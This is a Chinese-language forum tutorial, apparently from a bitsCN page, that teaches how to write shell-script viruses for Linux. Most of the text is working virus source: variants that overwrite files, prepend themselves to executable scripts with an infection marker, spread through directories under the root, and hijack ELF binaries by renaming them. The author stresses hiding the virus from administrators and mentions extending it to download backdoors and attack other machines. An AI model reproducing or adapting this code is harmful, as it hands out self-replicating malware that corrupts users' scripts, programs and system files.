如何⽤Shell病毒技术感染Linux脚本程序主要的shell病毒技术
-------------------
当然,本⽂需要你⾄少了解linux shell编程的基础知识和⼀星点的病毒知识.
ok!我们进⼊正题!
我们来看⼀个最原始的shell病毒,代码最能说明问题:
---------------------------------------------------------
#shellvirus I
for file in *
do
cp $0 $file
done
-
--------------------------------------------------------
简单吧?遍历当前⽂件系统的所有⽂件,然后覆盖所有⽂件.但是,我们知道linux是多⽤户的操作系统,它的⽂件是具有
保护模式的,所以以上的脚本有可能会报出⼀⼤堆的错误,所以它很快就会被管理员发现并制⽌它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就⼤⼤增强了:
---------------------------------------------------------
shell代码#shellvirus II
for file in *
do
if test -f $file
then
if test -x $file
then
if test -w $file
then
if grep -s echo $file >.mmm
then
cp $0 $file
fi; fi; fi; fi; fi
done
rm .mmm -f
---------------------------------------------------------
ok.我们改进了⼀下,加了若⼲的判断,判断⽂件是否存在,是否⽂件可执⾏,是否我们有权限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是⽐较⼤的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell
脚本程序.
但是,脚本病毒⼀旦在感染完毕之后就什么也不做了,它没有象⼆进制病毒那样的潜伏的危害性,⽽且以上的脚本只是简单的覆盖宿主⽽已,所以我这⾥利⽤了⼀下传统的⼆进制病毒的感染机制,效果也不错,看看下⾯代码:
---------------------------------------------------------
#infection
head -n 24 $0 > .test <-取⾃⾝保存到.test
for file in * <-遍历⽂件系统
do
if test -f $file <-判断是否为⽂件
then
需要什么来搜⼀搜吧so.bitsCN
if test -x $file <-判断⽂件是否可执⾏
then
if test -w $file <-判断⽂件是否可写
then
if grep -s echo $file >.mmm <-判断是否为脚本程序
then
head -n 1 $file >.mm <-提取要感染的脚本程序的第⼀⾏
if grep -s infection .mm >.mmm <-判断该⽂件是否已经被感染
then
rm -f .mm <-已经被感染,则跳过
else <-还未被感染
cat $file > .SAVEE <-很熟悉吧?借⽤了传统的⼆进制⽂件的感染机制
cat .test > $file
cat .SAVEE >> $file
fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f
-
-------------------------------------------------------
程序的注解⾜以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本⼀般都是明⽂的,呵呵.不过
危害性已经相当⼤了.这段程序⽤了⼀个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.
ok,为了使上⾯的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
--------------------------------------------------------
#infection
for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if grep -s echo $file > /dev/nul ; then
head -n 1 $file >.mm
if grep -s infection .mm > /dev/nul ; then
rm .mm -f ; else
cat $file > .SAVEE
head -n 13 $0 > $file
cat .SAVEE >> $file
fi; fi; fi
done
rm .SAVEE .mm -f
--------------------------------------------------------
现在只有两个临时⽂件的产⽣了,代码也被精简到了13⾏.当然可以完全⽤;来把代码甚⾄写到1-2⾏,但这⾥我只是说明问题,就 不写出来了.
好,我们看看,shell病毒还能做哪些有⽤的事情,有可能我们想感染别的⽬录的⽂件,⽐如根⽬录或者是/etc,/bin等等,因为⼤多需要什么来搜⼀搜吧so.bitsCN
数有⽤的系统配置脚本都存放在那些⽬录下,只要对上述代码稍作改动就可以实现了
--------------------------------------------------------
#infection
xtemp=$pwd <-保存当前路径
head -n 22 $0 > /.test
for dir in /* ; do <-遍历/⽬录
if test -d $dir ; then <-如果是⽬录就cd该⽬录
cd $dir
for file in * ; do <-遍历该⽬录⽂件
if test -f $file && test -x $file && test -w $file ; then <-确定⽂件是否可执⾏,可写
if grep -s echo $file > /dev/nul ; then <-确定是否为脚本程序
head -n 1 $file > .mm
if grep -s infection .mm > /dev/nul ; then <-确定是否已经被感染
rm .mm -f ; else
cat $file > /.SAVEE <-和前⾯的感染机制⼀样感染未被感染的脚本程序
cat /.test > $file
cat /.SAVEE >> $file
fi; fi; fi
done
bbs.bitsCN国内最早的⽹管论坛
cd ..
fi
done
cd $xtemp <-返回原⽬录
rm /.test /.SAVEE .mm -f
-------------------------------------------------------------
其实这段代码只感染了/⽬录下的⼀层⽬录.当然我们可以使它感染的更深,只是加⼏个循环⽽已.同样shell病毒可以做很多事情 如download后门程序,为机器⾃动开后门,主动去攻击联⽹的其他机器,取⽤户的email来发送传染等等.总之它的实现技术不⾼深, 但也⽐较实⽤,还是值得去说明⼀下的,呵呵.
同样,我们也可以感染elf⽂件,但危害性很⼩,这⾥不重点讲,给个例程⼤家理解⼀下吧
-------------------------------------------------------------
for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if file $file | grep -s 'ELF' > /dev/nul ; then
mv $file .$file
head -n 9 $0 > $file
fi; fi
done
.$0
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论